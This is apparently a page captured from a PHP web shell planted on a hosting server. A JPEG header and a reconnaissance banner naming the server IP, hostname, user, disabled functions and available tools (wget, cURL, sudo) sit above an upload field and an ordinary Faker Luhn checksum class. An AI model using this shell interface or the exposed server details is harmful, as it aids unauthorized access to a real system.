ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.202.91 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/fzaninotto/faker/src/Faker/Calculator/ |
Upload File : |
<?php namespace Faker\Calculator; /** * Utility class for generating Luhn checksum and validating a number * * Luhn algorithm is used to validate credit card numbers, IMEI numbers, and * National Provider Identifier numbers. * * @see http://en.wikipedia.org/wiki/Luhn_algorithm */ class Luhn { /** * @param string $number * @return int */ private static function checksum($number) { $number = (string) $number; $length = strlen($number); $sum = 0; for ($i = $length - 1; $i >= 0; $i -= 2) { $sum += $number{$i}; } for ($i = $length - 2; $i >= 0; $i -= 2) { $sum += array_sum(str_split($number{$i} * 2)); } return $sum % 10; } /** * @param $partialNumber * @return string */ public static function computeCheckDigit($partialNumber) { $checkDigit = self::checksum($partialNumber . '0'); if ($checkDigit === 0) { return 0; } return (string) (10 - $checkDigit); } /** * Checks whether a number (partial number + check digit) is Luhn compliant * * @param string $number * @return bool */ public static function isValid($number) { return self::checksum($number) === 0; } }